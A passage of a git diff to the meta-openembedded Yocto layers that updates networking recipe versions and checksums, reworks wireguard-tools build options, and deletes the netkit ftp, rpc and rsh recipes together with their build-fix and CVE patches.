-@@ -135,9 +135,8 @@ typedef uintmax_t LargestIntegralType;
- # endif /* __WORDSIZE */
- # endif /* _WIN32 */
-
--# define _UINTPTR_T
--# define _UINTPTR_T_DEFINED
--#endif /* !defined(_UINTPTR_T) || !defined(_UINTPTR_T_DEFINED) */
-+# define __DEFINED_uintptr_t
-+#endif /* !defined(__DEFINED_uintptr_t) */
-
- /* Perform an unsigned cast to uintptr_t. */
- #define cast_to_pointer_integral_type(value) \
---
-2.25.1
-
diff --git a/meta-openembedded/meta-networking/recipes-connectivity/samba/samba_4.18.6.bb b/meta-openembedded/meta-networking/recipes-connectivity/samba/samba_4.18.8.bb
index c40e102245..f80742640f 100644
--- a/meta-openembedded/meta-networking/recipes-connectivity/samba/samba_4.18.6.bb
+++ b/meta-openembedded/meta-networking/recipes-connectivity/samba/samba_4.18.8.bb
@@ -29,10 +29,9 @@ SRC_URI = "${SAMBA_MIRROR}/stable/samba-${PV}.tar.gz \
SRC_URI:append:libc-musl = " \
file://samba-pam.patch \
file://samba-4.3.9-remove-getpwent_r.patch \
- file://cmocka-uintptr_t.patch \
"
-SRC_URI[sha256sum] = "284c8a994ce989c87cd6808c390fcb9d00c36b21a0dc1a8a75474b67c9e715e7"
+SRC_URI[sha256sum] = "4fb87bceaeb01d832a59046c197a044b7e8e8000581548b5d577a6cda03344d1"
UPSTREAM_CHECK_REGEX = "samba\-(?P<pver>4\.18(\.\d+)+).tar.gz"
@@ -43,7 +42,7 @@ CVE_STATUS[CVE-2011-2411] = "not-applicable-platform: vulnerable only on HP NonS
# remove default added RDEPENDS on perl
RDEPENDS:${PN}:remove = "perl"
-DEPENDS += "readline virtual/libiconv zlib popt libtalloc libtdb libtevent libldb libaio libpam libtasn1 jansson libparse-yapp-perl-native gnutls"
+DEPENDS += "readline virtual/libiconv zlib popt libtalloc libtdb libtevent libldb libaio libpam libtasn1 libtasn1-native jansson libparse-yapp-perl-native gnutls cmocka"
inherit features_check
REQUIRED_DISTRO_FEATURES = "pam"
@@ -75,7 +74,7 @@ export WAF_NO_PREFORK="yes"
# Use krb5. Build active domain controller.
#
PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd zeroconf', d)} \
- acl cups ad-dc ldap mitkrb5 \
+ acl cups ldap mitkrb5 \
"
PACKAGECONFIG[acl] = "--with-acl-support,--without-acl-support,acl"
@@ -105,7 +104,7 @@ SAMBA4_MODULES="${SAMBA4_IDMAP_MODULES},${SAMBA4_PDB_MODULES},${SAMBA4_AUTH_MODU
# .so files so there will not be a conflict. This is not done consistantly, so be very careful
# when adding to this list.
#
-SAMBA4_LIBS="heimdal,cmocka,NONE"
+SAMBA4_LIBS="heimdal,NONE"
EXTRA_OECONF += "--enable-fhs \
--with-piddir=/run \
diff --git a/meta-openembedded/meta-networking/recipes-connectivity/wolfssl/wolfssl_5.5.4.bb b/meta-openembedded/meta-networking/recipes-connectivity/wolfssl/wolfssl_5.6.4.bb
index 9ac859f306..a4f42e7bf4 100644
--- a/meta-openembedded/meta-networking/recipes-connectivity/wolfssl/wolfssl_5.5.4.bb
+++ b/meta-openembedded/meta-networking/recipes-connectivity/wolfssl/wolfssl_5.6.4.bb
@@ -13,7 +13,7 @@ PROVIDES += "cyassl"
RPROVIDES:${PN} = "cyassl"
SRC_URI = "git://github.com/wolfSSL/wolfssl.git;protocol=https;branch=master"
-SRCREV = "4fbd4fd36a21efd9d1a7e17aba390e91c78693b1"
+SRCREV = "37884f864d6fd9b04f44677cb04da15d0c9d6526"
S = "${WORKDIR}/git"
diff --git a/meta-openembedded/meta-networking/recipes-core/packagegroups/packagegroup-meta-networking.bb b/meta-openembedded/meta-networking/recipes-core/packagegroups/packagegroup-meta-networking.bb
index 7be8261164..941efedd65 100644
--- a/meta-openembedded/meta-networking/recipes-core/packagegroups/packagegroup-meta-networking.bb
+++ b/meta-openembedded/meta-networking/recipes-core/packagegroups/packagegroup-meta-networking.bb
@@ -13,7 +13,6 @@ PACKAGES = ' \
packagegroup-meta-networking-filter \
packagegroup-meta-networking-irc \
packagegroup-meta-networking-kernel \
- packagegroup-meta-networking-netkit \
packagegroup-meta-networking-protocols \
packagegroup-meta-networking-support \
'
@@ -26,7 +25,6 @@ RDEPENDS:packagegroup-meta-networking = "\
packagegroup-meta-networking-filter \
packagegroup-meta-networking-irc \
packagegroup-meta-networking-kernel \
- packagegroup-meta-networking-netkit \
packagegroup-meta-networking-protocols \
packagegroup-meta-networking-support \
"
@@ -134,21 +132,6 @@ RDEPENDS:packagegroup-meta-networking-kernel = "\
wireguard-tools \
"
-RDEPENDS:packagegroup-meta-networking-netkit = "\
- netkit-rwho-client \
- netkit-rwho-server \
- netkit-rsh-client \
- netkit-rsh-server \
- netkit-telnet \
- netkit-tftp-client \
- netkit-tftp-server \
- netkit-ftp \
- netkit-rpc \
- "
-
-RDEPENDS:packagegroup-meta-networking-netkit:remove:libc-musl = " \
- netkit-rsh-client netkit-rsh-server netkit-telnet"
-
RDEPENDS:packagegroup-meta-networking-protocols = "\
babeld \
${@bb.utils.contains("DISTRO_FEATURES", "pam", "dante", "", d)} \
diff --git a/meta-openembedded/meta-networking/recipes-devtools/libcoap/libcoap_4.3.3.bb b/meta-openembedded/meta-networking/recipes-devtools/libcoap/libcoap_4.3.4.bb
index 6e5bc07c59..20bdbee252 100644
--- a/meta-openembedded/meta-networking/recipes-devtools/libcoap/libcoap_4.3.3.bb
+++ b/meta-openembedded/meta-networking/recipes-devtools/libcoap/libcoap_4.3.4.bb
@@ -10,7 +10,7 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=1978dbc41673ab1c20e64b287c8317bc"
SRC_URI = "git://github.com/obgm/libcoap.git;branch=main;protocol=https \
file://run-ptest \
"
-SRCREV = "9cde7cdee171e3f47486c6e70d479fdf49f3d2d6"
+SRCREV = "5fd2f89ef068214130e5d60b7087ef48711fa615"
S = "${WORKDIR}/git"
diff --git a/meta-openembedded/meta-networking/recipes-devtools/python/python3-scapy_2.5.0.bb b/meta-openembedded/meta-networking/recipes-devtools/python/python3-scapy_2.5.0.bb
index cc3f2ee1dd..4858e4e579 100644
--- a/meta-openembedded/meta-networking/recipes-devtools/python/python3-scapy_2.5.0.bb
+++ b/meta-openembedded/meta-networking/recipes-devtools/python/python3-scapy_2.5.0.bb
@@ -16,7 +16,7 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=b234ee4d69f5fce4486a80fdaf4a4263"
# If you want ptest support, use the git repo
# UTscapy does not exist in the pypi pkg
#
-SRCREV = "9473f77d8b548c8e478e52838bdd4c12f5d4f4ff"
+SRCREV = "0474c37bf1d147c969173d52ab3ac76d2404d981"
SRC_URI = "git://github.com/secdev/scapy.git;branch=master;protocol=https \
file://run-ptest"
diff --git a/meta-openembedded/meta-networking/recipes-filter/conntrack-tools/conntrack-tools_1.4.7.bb b/meta-openembedded/meta-networking/recipes-filter/conntrack-tools/conntrack-tools_1.4.8.bb
index 0c6fd90d34..07e01845d7 100644
--- a/meta-openembedded/meta-networking/recipes-filter/conntrack-tools/conntrack-tools_1.4.7.bb
+++ b/meta-openembedded/meta-networking/recipes-filter/conntrack-tools/conntrack-tools_1.4.8.bb
@@ -8,12 +8,12 @@ DEPENDS = "libnfnetlink libnetfilter-conntrack libnetfilter-cttimeout \
EXTRA_OECONF += "LIBS=-ltirpc CPPFLAGS=-I${STAGING_INCDIR}/tirpc"
-SRC_URI = "http://www.netfilter.org/projects/conntrack-tools/files/conntrack-tools-${PV}.tar.bz2 \
+SRC_URI = "http://www.netfilter.org/projects/conntrack-tools/files/conntrack-tools-${PV}.tar.xz \
file://conntrack-failover \
file://init \
file://conntrackd.service \
"
-SRC_URI[sha256sum] = "099debcf57e81690ced57f516b493588a73518f48c14d656f823b29b4fc24b5d"
+SRC_URI[sha256sum] = "067677f4c5f6564819e78ed3a9d4a8980935ea9273f3abb22a420ea30ab5ded6"
inherit autotools update-rc.d pkgconfig systemd
diff --git a/meta-openembedded/meta-networking/recipes-filter/ipset/ipset_7.15.bb b/meta-openembedded/meta-networking/recipes-filter/ipset/ipset_7.19.bb
index 0e928a30f8..bb4319f36c 100644
--- a/meta-openembedded/meta-networking/recipes-filter/ipset/ipset_7.15.bb
+++ b/meta-openembedded/meta-networking/recipes-filter/ipset/ipset_7.19.bb
@@ -10,7 +10,7 @@ SECTION = "base"
DEPENDS = "libtool libmnl"
SRC_URI = "http://ftp.netfilter.org/pub/ipset/${BP}.tar.bz2"
-SRC_URI[sha256sum] = "0a5545aaadb640142c1f888d366a78ddf8724799967fa20686a70053bd621751"
+SRC_URI[sha256sum] = "9bc1fba48d65786e3e0b63dc6b669a866823d77840c6990c0c6b23078ec2c4d6"
inherit autotools pkgconfig module-base
diff --git a/meta-openembedded/meta-networking/recipes-filter/nftables/nftables_1.0.8.bb b/meta-openembedded/meta-networking/recipes-filter/nftables/nftables_1.0.9.bb
index 00fe483bbd..43d606f5d1 100644
--- a/meta-openembedded/meta-networking/recipes-filter/nftables/nftables_1.0.8.bb
+++ b/meta-openembedded/meta-networking/recipes-filter/nftables/nftables_1.0.9.bb
@@ -9,7 +9,7 @@ DEPENDS = "libmnl libnftnl bison-native \
SRC_URI = "http://www.netfilter.org/projects/nftables/files/${BP}.tar.xz \
file://run-ptest \
"
-SRC_URI[sha256sum] = "9373740de41a82dbc98818e0a46a073faeb8a8d0689fa4fa1a74399c32bf3d50"
+SRC_URI[sha256sum] = "a3c304cd9ba061239ee0474f9afb938a9bb99d89b960246f66f0c3a0a85e14cd"
inherit autotools manpages pkgconfig ptest
@@ -23,8 +23,7 @@ PACKAGECONFIG[python] = ",, python3-setuptools-native"
PACKAGECONFIG[readline] = "--with-cli=readline, , readline, , , editline linenoise"
PACKAGECONFIG[xtables] = "--with-xtables, --without-xtables, iptables"
-# Disable the python via autoconf so we can build it separately via setuptools3
-EXTRA_OECONF = "--disable-python \
+EXTRA_OECONF = " \
${@bb.utils.contains_any('PACKAGECONFIG', 'editline linenoise readline', '', '--without-cli', d)}"
SETUPTOOLS_SETUP_PATH = "${S}/py"
diff --git a/meta-openembedded/meta-networking/recipes-kernel/wireguard/wireguard-tools_1.0.20210914.bb b/meta-openembedded/meta-networking/recipes-kernel/wireguard/wireguard-tools_1.0.20210914.bb
index 20435338c3..8def54ece6 100644
--- a/meta-openembedded/meta-networking/recipes-kernel/wireguard/wireguard-tools_1.0.20210914.bb
+++ b/meta-openembedded/meta-networking/recipes-kernel/wireguard/wireguard-tools_1.0.20210914.bb
@@ -11,24 +11,22 @@ do_install () {
oe_runmake DESTDIR="${D}" PREFIX="${prefix}" SYSCONFDIR="${sysconfdir}" \
SYSTEMDUNITDIR="${systemd_system_unitdir}" \
WITH_SYSTEMDUNITS=${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'yes', '', d)} \
- WITH_BASHCOMPLETION=yes \
- WITH_WGQUICK=yes \
+ ${PACKAGECONFIG_CONFARGS} \
install
}
-PACKAGES += "${PN}-wg-quick"
+PACKAGECONFIG ??= "bash-completion wg-quick"
+
+PACKAGECONFIG[bash-completion] = "WITH_BASHCOMPLETION=yes,WITH_BASHCOMPLETION=no,,bash,,"
+PACKAGECONFIG[wg-quick] = "WITH_WGQUICK=yes,WITH_WGQUICK=no,,bash,,"
FILES:${PN} = " \
${bindir}/wg \
${sysconfdir} \
-"
-FILES:${PN}-wg-quick = " \
${bindir}/wg-quick \
${systemd_system_unitdir} \
"
-RDEPENDS:${PN}-wg-quick = "${PN} bash"
RRECOMMENDS:${PN} = " \
kernel-module-wireguard \
- ${PN}-wg-quick \
"
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-ftp/netkit-ftp/0001-ftp-include-sys-types.h-for-u_long.patch b/meta-openembedded/meta-networking/recipes-netkit/netkit-ftp/netkit-ftp/0001-ftp-include-sys-types.h-for-u_long.patch
deleted file mode 100644
index 2cd639ee92..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-ftp/netkit-ftp/0001-ftp-include-sys-types.h-for-u_long.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From 2ee0c51d81a0a08d64b64ab624074e5f7cd9615a Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sat, 15 Jul 2017 00:07:32 -0700
-Subject: [PATCH] ftp: include sys/types.h for u_long
-
-fixes
-ftp.c:1091:2: error: unknown type name 'u_long'; did you mean 'long'?
- u_long a1,a2,a3,a4,p1,p2;
- ^~~~~~
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- ftp/ftp.c | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/ftp/ftp.c b/ftp/ftp.c
-index 7a56af6..5dcb513 100644
---- a/ftp/ftp.c
-+++ b/ftp/ftp.c
-@@ -43,6 +43,7 @@ char ftp_rcsid[] =
- #include <sys/socket.h>
- #include <sys/time.h>
- #include <sys/file.h>
-+#include <sys/types.h>
-
- #include <netinet/in.h>
- #include <netinet/ip.h>
---
-2.13.3
-
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-ftp/netkit-ftp/Add_ARG_MAX_define.patch b/meta-openembedded/meta-networking/recipes-netkit/netkit-ftp/netkit-ftp/Add_ARG_MAX_define.patch
deleted file mode 100644
index 5db004865f..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-ftp/netkit-ftp/Add_ARG_MAX_define.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-This adds ARG_MAX define to be _SC_ARG_MAX
-
-Upstream-Status: Inappropriate [Most distros have their own verion for this fix]
-
-Signed-off-by: Armin Kuster <akuster808@gmail.com>
-
-Index: netkit-ftp-0.17/ftp/glob.c
-===================================================================
---- netkit-ftp-0.17.orig/ftp/glob.c
-+++ netkit-ftp-0.17/ftp/glob.c
-@@ -50,6 +50,7 @@ char glob_rcsid[] =
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
-+#include <unistd.h>
-
- #include "ftp_var.h" /* for protos only */
- #include "glob.h"
-@@ -57,6 +58,9 @@ char glob_rcsid[] =
- #define QUOTE 0200
- #define TRIM 0177
- #define eq(a,b) (strcmp(a, b)==0)
-+#ifndef ARG_MAX
-+#define ARG_MAX (sysconf(_SC_ARG_MAX))
-+#endif
- #define GAVSIZ (ARG_MAX/6)
- #define isdir(d) ((d.st_mode & S_IFMT) == S_IFDIR)
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-ftp/netkit-ftp_0.17.bb b/meta-openembedded/meta-networking/recipes-netkit/netkit-ftp/netkit-ftp_0.17.bb
deleted file mode 100644
index 31fdd9e4d8..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-ftp/netkit-ftp_0.17.bb
+++ /dev/null
@@ -1,50 +0,0 @@
-DESCRIPTION = "netkit-ft includes the ftp client."
-SECTION = "net"
-HOMEPAGE="ftp://ftp.uk.linux.org/pub/linux/Networking/netkit"
-LICENSE = "BSD-4-Clause"
-
-LIC_FILES_CHKSUM = "file://ftp/ftp.c;beginline=2;endline=3;md5=2d40a75a50d83b8f6317b3f53db72bfa"
-
-SRC_URI = "${DEBIAN_MIRROR}/main/n/netkit-ftp/netkit-ftp_${PV}.orig.tar.gz;name=archive \
- ${DEBIAN_MIRROR}/main/n/netkit-ftp/netkit-ftp_${PV}-34.debian.tar.xz;name=patch34 \
- file://Add_ARG_MAX_define.patch \
- file://0001-ftp-include-sys-types.h-for-u_long.patch \
- "
-SRC_URI[archive.sha256sum] = "61c913299b81a4671ff089aac821329f7db9bc111aa812993dd585798b700349"
-SRC_URI[patch34.sha256sum] = "716b984bc6926ed98345fa4e68adcee2efcf08d0f7315d6be8ad6de76f255748"
-
-inherit autotools-brokensep update-alternatives
-
-CLEANBROKEN = "1"
-
-do_configure () {
- ./configure --prefix=${prefix}
- echo "LDFLAGS=${LDFLAGS}" >> MCONFIG
-}
-
-BINMODE = "0755"
-MANMODE = "0644"
-
-do_install () {
- install -d ${D}${bindir}
- install -d ${D}${mandir}/man1
- install -d ${D}${mandir}/man5
-
- install -m${BINMODE} ${S}/ftp/ftp ${D}${bindir}
- ln -sf ftp ${D}${bindir}/pftp
- install -m${MANMODE} ${S}/ftp/ftp.1 ${D}${mandir}/man1
- ln -sf ftp.1 ${D}${mandir}/man1/pftp.1
- install -m${MANMODE} ${S}/ftp/netrc.5 ${D}${mandir}/man5
-}
-
-PACKAGES = "${PN} ${PN}-doc ${BPN}-dbg"
-FILES:${PN} = "${bindir}/*"
-FILES:${PN}-doc = "${mandir}"
-FILES:${PN}-dbg = "${prefix}/src/debug \
- ${bindir}/.debug"
-
-RDEPENDS:${PN} = "readline"
-
-ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE:${PN} = "ftp"
-ALTERNATIVE_LINK_NAME[ftp] = "${bindir}/ftp"
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-rpc/netkit-rpc/0001-rpcgen-Fix-printf-formats.patch b/meta-openembedded/meta-networking/recipes-netkit/netkit-rpc/netkit-rpc/0001-rpcgen-Fix-printf-formats.patch
deleted file mode 100644
index 508db6aadf..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-rpc/netkit-rpc/0001-rpcgen-Fix-printf-formats.patch
+++ /dev/null
@@ -1,53 +0,0 @@
-From 439e3e35f7fcbff1abb782de4b19b31e43ae3449 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 27 Jun 2017 09:59:19 -0700
-Subject: [PATCH] rpcgen: Fix printf formats
-
-Fixes build with hardening flags
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- rpcgen/rpc_hout.c | 2 +-
- rpcgen/rpc_tblout.c | 4 ++--
- 2 files changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/rpcgen/rpc_hout.c b/rpcgen/rpc_hout.c
-index 0ef52df..09a7b57 100644
---- a/rpcgen/rpc_hout.c
-+++ b/rpcgen/rpc_hout.c
-@@ -474,7 +474,7 @@ pdeclaration(const char *name, declaration *dec, int tab,
- break;
- }
- }
-- f_print(fout, separator );
-+ f_print(fout, "%s", separator );
- }
-
- static int
-diff --git a/rpcgen/rpc_tblout.c b/rpcgen/rpc_tblout.c
-index d64bfde..fd62a52 100644
---- a/rpcgen/rpc_tblout.c
-+++ b/rpcgen/rpc_tblout.c
-@@ -99,7 +99,7 @@ write_table(const definition *def)
- }
- else {
- expected = 1;
-- f_print(fout, null_entry);
-+ f_print(fout, "%s", null_entry);
- }
- for (proc = vp->procs; proc != NULL; proc = proc->next) {
- current = atoi(proc->proc_num);
-@@ -139,7 +139,7 @@ write_table(const definition *def)
- }
-
- /* print the table trailer */
-- f_print(fout, tbl_end);
-+ f_print(fout, "%s", tbl_end);
- f_print(fout, tbl_nproc, progvers, progvers, progvers);
- }
- }
---
-2.13.2
-
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-rpc/netkit-rpc/gcc4.patch b/meta-openembedded/meta-networking/recipes-netkit/netkit-rpc/netkit-rpc/gcc4.patch
deleted file mode 100644
index 83bcc4b490..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-rpc/netkit-rpc/gcc4.patch
+++ /dev/null
@@ -1,39 +0,0 @@
-This fixes an issue when building with gcc 4.x
-
-https://github.com/openembedded/openembedded/tree/master/recipes/netkit-rpc/netkit-rpc
-
-Upstream-Status: Backport
-
-Signed-off-by: Armin Kuster <akuster808@gmail.com>
-
---- netkit-rpc-0.17/rpcgen/rpc_cout.c~gcc4
-+++ netkit-rpc-0.17/rpcgen/rpc_cout.c
-@@ -101,8 +101,6 @@
- case DEF_TYPEDEF:
- emit_typedef(def);
- break;
-- default:
-- /* can't happen */
- }
- print_trailer();
- }
-@@ -664,9 +662,6 @@
- decl->name,decl->array_max);
- emit_single_in_line(decl,flag,REL_VECTOR);
- f_print(fout,"\t\t }\n\t\t };\n");
--
-- default:
-- /* ?... do nothing I guess */
- }
- }
-
---- netkit-rpc-0.17/rpcgen/rpc_hout.c~gcc4
-+++ netkit-rpc-0.17/rpcgen/rpc_hout.c
-@@ -106,8 +106,6 @@
- f_print(fout, "\n");
- pprogramdef(def);
- break;
-- default:
-- /* ?... shouldn't happen I guess */
- }
- }
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-rpc/netkit-rpc_0.17.bb b/meta-openembedded/meta-networking/recipes-netkit/netkit-rpc/netkit-rpc_0.17.bb
deleted file mode 100644
index cb05645ee8..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-rpc/netkit-rpc_0.17.bb
+++ /dev/null
@@ -1,51 +0,0 @@
-DESCRIPTION = "netkit-rpc includes rpcinfo and rpcgen."
-HOMEPAGE = "http://ftp.linux.org.uk/pub/linux/Networking/netkit"
-SECTION = "net"
-LICENSE = "SPL-1.0"
-LIC_FILES_CHKSUM = "file://rpcinfo/rpcinfo.c;beginline=2;endline=3;md5=3e6339e3ce266e1122c5ba293e04bc89"
-
-DEPENDS += "libtirpc"
-SRC_URI = "http://sources.openembedded.org/${BPN}-${PV}.tar.gz \
- file://gcc4.patch \
- file://0001-rpcgen-Fix-printf-formats.patch \
- "
-SRC_URI[md5sum] = "67212720482ea1aea9182a98653a9642"
-SRC_URI[sha256sum] = "421d63b414162237a72867061f1bd3e3752a0d962cd5d30b5e933ddad8a14d3b"
-
-inherit update-alternatives
-
-CFLAGS += "-I${STAGING_INCDIR}/tirpc"
-LIBS += "-ltirpc"
-
-do_configure () {
- ./configure --prefix=${prefix}
- echo "LDFLAGS=${LDFLAGS}" > MCONFIG
- echo "CC=${CC}" >> MCONFIG
- echo "LD=${LD}" >> MCONFIG
- echo "CFLAGS=${CFLAGS}" >> MCONFIG
- echo "LDFLAGS=${LDFLAGS}" >> MCONFIG
- echo "LIBS=${LIBS}" >> MCONFIG
-}
-
-do_compile () {
- oe_runmake 'CC=${CC}' 'LD=${LD}' 'LDFLAGS=${LDFLAGS}'
-}
-
-do_install () {
- install -d ${D}${bindir}
- install -d ${D}${mandir}/man1
- install -d ${D}${mandir}/man8
-
- # remove strip flag
- sed -i 's/install -s/install/' rpcinfo/Makefile
- sed -i 's/install -s/install/' rpcgen/Makefile
-
- oe_runmake 'INSTALLROOT=${D}' 'BINMODE=0755' \
- 'DAEMONMODE=0755' 'MANMODE=0644' \
- 'BINDIR=${bindir}' 'SBINDIR=${sbindir}' \
- 'MANDIR=${mandir}' install
-}
-ALTERNATIVE_PRIORITY = "100"
-
-ALTERNATIVE:${PN} = "rpcinfo"
-ALTERNATIVE_LINK_NAME[rpcinfo] = "${bindir}/rpcinfo"
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/CVE-2019-7282-and-CVE-2019-7283.patch b/meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/CVE-2019-7282-and-CVE-2019-7283.patch
deleted file mode 100644
index 285667b869..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/CVE-2019-7282-and-CVE-2019-7283.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From a7831a16c3e0e1463d5eb08a58af152cb75ca976 Mon Sep 17 00:00:00 2001
-From: Yi Zhao <yi.zhao@windriver.com>
-Date: Mon, 15 Apr 2019 06:05:58 +0000
-Subject: [PATCH] Fix CVE-2019-7282 and CVE-2019-7283
-
-Description: Fix CVE-2018-20685 and CVE-2019-6111
-Bug-Debian: https://bugs.debian.org/920486
-Origin: https://github.com/openssh/openssh-portable/commit/6010c0303a422a9c5fa8860c061bf7105eb7f8b2#diff-9f340c228413d5a9a9206ea2ed2bc624R1114
-
-Upstream-Status: Backport [Debian]
-[https://sources.debian.org/src/netkit-rsh/0.17-20/debian/patches/fix-CVE-2018-20685-and-CVE-2019-6111.patch]
-
-CVE: CVE-2019-7282 CVE-2019-7283
-
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- rcp/rcp.c | 5 +++++
- 1 file changed, 5 insertions(+)
-
-diff --git a/rcp/rcp.c b/rcp/rcp.c
-index ca61c18..77d8ff8 100644
---- a/rcp/rcp.c
-+++ b/rcp/rcp.c
-@@ -740,6 +740,11 @@ sink(int argc, char *argv[])
- size = size * 10 + (*cp++ - '0');
- if (*cp++ != ' ')
- SCREWUP("size not delimited");
-+ if (*cp == '\0' || strchr(cp, '/') != NULL ||
-+ strcmp(cp, ".") == 0 || strcmp(cp, "..") == 0) {
-+ error("error: unexpected filename: %s", cp);
-+ exit(1);
-+ }
- if (targisdir) {
- static char *namebuf;
- static int cursize;
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/fix-host-variable.patch b/meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/fix-host-variable.patch
deleted file mode 100644
index 1d3631d47d..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/fix-host-variable.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-fix host variable when rsh is renamed to other.
-
-Upstream-Status: Pending
-
-If rsh is renamed to other, like rsh.netkit, host variable is assigned to
-rsh.netkit, which is wrong.
-
-Signed-off-by: Roy.Li <rongqing.li@windriver.com>
----
- rsh/rsh.c | 1 -
- 1 files changed, 0 insertions(+), 1 deletions(-)
-
-diff --git a/rsh/rsh.c b/rsh/rsh.c
-index ac594f9..11f533e 100644
---- a/rsh/rsh.c
-+++ b/rsh/rsh.c
-@@ -100,7 +100,6 @@ main(int argc, char *argv[])
- #else
- if (!strcmp(p, "rsh")) asrsh = 1;
- #endif
-- else host = p;
-
- /* handle "rsh host flags" */
- if (!host && argc > 2 && argv[1][0] != '-') {
---
-1.7.5.4
-
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/fixup_wait3_api_change.patch b/meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/fixup_wait3_api_change.patch
deleted file mode 100644
index c6e2e60624..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/fixup_wait3_api_change.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-Fix build issue do to Deprecate union wait and remove support from wait functions [BZ #19613]
-
-| rlogin.c: In function 'catch_child':
-| rlogin.c:463:13: error: storage size of 'status' isn't known
-| union wait status;
-
-https://sourceware.org/ml/libc-alpha/2016-02/msg00342.html
-
-Upstream-Status: Inappropriate [ no upstream maintaner ]
-
-Signed-off-by: Armin Kuster <akuster@mvista.com>
-
-Index: netkit-rsh-0.17/rlogin/rlogin.c
-===================================================================
---- netkit-rsh-0.17.orig/rlogin/rlogin.c
-+++ netkit-rsh-0.17/rlogin/rlogin.c
-@@ -460,7 +460,7 @@ writeroob(int ignore)
- void
- catch_child(int ignore)
- {
-- union wait status;
-+ int status;
- int pid;
-
- (void)ignore;
-@@ -471,7 +471,7 @@ catch_child(int ignore)
- return;
- /* if the child (reader) dies, just quit */
- if (pid < 0 || (pid == childpid && !WIFSTOPPED(status)))
-- done((int)(status.w_termsig | status.w_retcode));
-+ done((int)(WTERMSIG(status) | WEXITSTATUS(status)));
- }
- /* NOTREACHED */
- }
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/netkit-rsh-0.17-rexec-ipv6.patch b/meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/netkit-rsh-0.17-rexec-ipv6.patch
deleted file mode 100644
index 7afd70859f..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/netkit-rsh-0.17-rexec-ipv6.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-make rexec support ipv6
-
-Upstream-Status: Pending
-
-rexec equals rexec_af(... ,AF_INET) which only support ipv4,
-use rexec_af(..., AF_UNSPEC) to support both ipv6 and ipv4.
-
-Signed-off-by: Roy.Li <rongqing.li@windriver.com>
----
- rexec/rexec.c | 4 ++--
- 1 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/rexec/rexec.c b/rexec/rexec.c
-index 0913c02..9c8f769 100644
---- a/rexec/rexec.c
-+++ b/rexec/rexec.c
-@@ -214,8 +214,8 @@ int main(int argc, char *argv[])
- passwd = getpass("Password: ");
- }
-
-- if ( (sock = rexec(&host, port_exec, user_name, passwd, command,
-- p_to_aux_sock)) < 0 )
-+ if ( (sock = rexec_af(&host, port_exec, user_name, passwd, command,
-+ p_to_aux_sock, AF_UNSPEC)) < 0 )
- {
- fprintf(stderr,"%s: Error in rexec system call: ",argv[0]);
- perror(NULL);
---
-1.7.4.1
-
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/no_pam_build_fix.patch b/meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/no_pam_build_fix.patch
deleted file mode 100644
index fdd535be1b..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/no_pam_build_fix.patch
+++ /dev/null
@@ -1,39 +0,0 @@
-netkit-rsh:
-Allow to build with no PAM enabled.
-
-Upstream-Status: Inappropriate [ no upstream maintaner ]
-
-Signed-off-by: Armin Kuster <akuster808@gmail.com>
-
-Index: netkit-rsh-0.17/rshd/rshd.c
-===================================================================
---- netkit-rsh-0.17.orig/rshd/rshd.c
-+++ netkit-rsh-0.17/rshd/rshd.c
-@@ -110,9 +110,11 @@ extern char **environ;
- static void error(const char *fmt, ...);
- static void doit(struct sockaddr *fromp, socklen_t fromlen);
- static char *getstr(char *, size_t, const char *);
-+#ifdef USE_PAM
- static int err_conv(
- int, const struct pam_message **, struct pam_response **, void *
- );
